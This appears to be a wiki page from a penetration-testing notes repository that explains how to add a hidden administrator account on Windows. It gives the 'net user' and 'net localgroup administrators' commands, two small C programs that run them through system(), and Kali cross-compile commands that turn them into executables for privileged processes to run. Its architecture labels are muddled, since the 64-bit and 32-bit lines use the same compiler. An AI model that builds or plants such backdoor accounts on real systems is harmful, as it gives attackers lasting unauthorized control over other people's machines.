-
Notifications
You must be signed in to change notification settings - Fork 14
Add admin user
lethanhtung01011980 edited this page Apr 5, 2020
·
10 revisions
- Already had admin privilege
- net user newuser newpass /add
- mkdir C:\test
- net user newuser newpass /add
- net localgroup administrators newuser /add
vim addnewuser.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net user newuser newpass /add");
return 0;
}
vim addusertoAdmin.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net localgroup administrators newuser /add");
return 0;
}
Add new user
- Windows 64-bit target: root@kali:~# i686-w64-mingw32-gcc -o addnewuser.exe addnewuser.c
- Windows 32-bit target: root@kali:~# i686-w64-mingw32-gcc -o addnewuser.exe addnewuser.c -lws2_32
Add user to admin
- Windows 64-bit target: root@kali:~# i686-w64-mingw32-gcc -o addusertoAdmin.exe addusertoAdmin.c
- Windows 32-bit target: root@kali:~# i686-w64-mingw32-gcc -o addusertoAdmin.exe addusertoAdmin.c -lws2_32
To leverage the admin processes to run these exe files.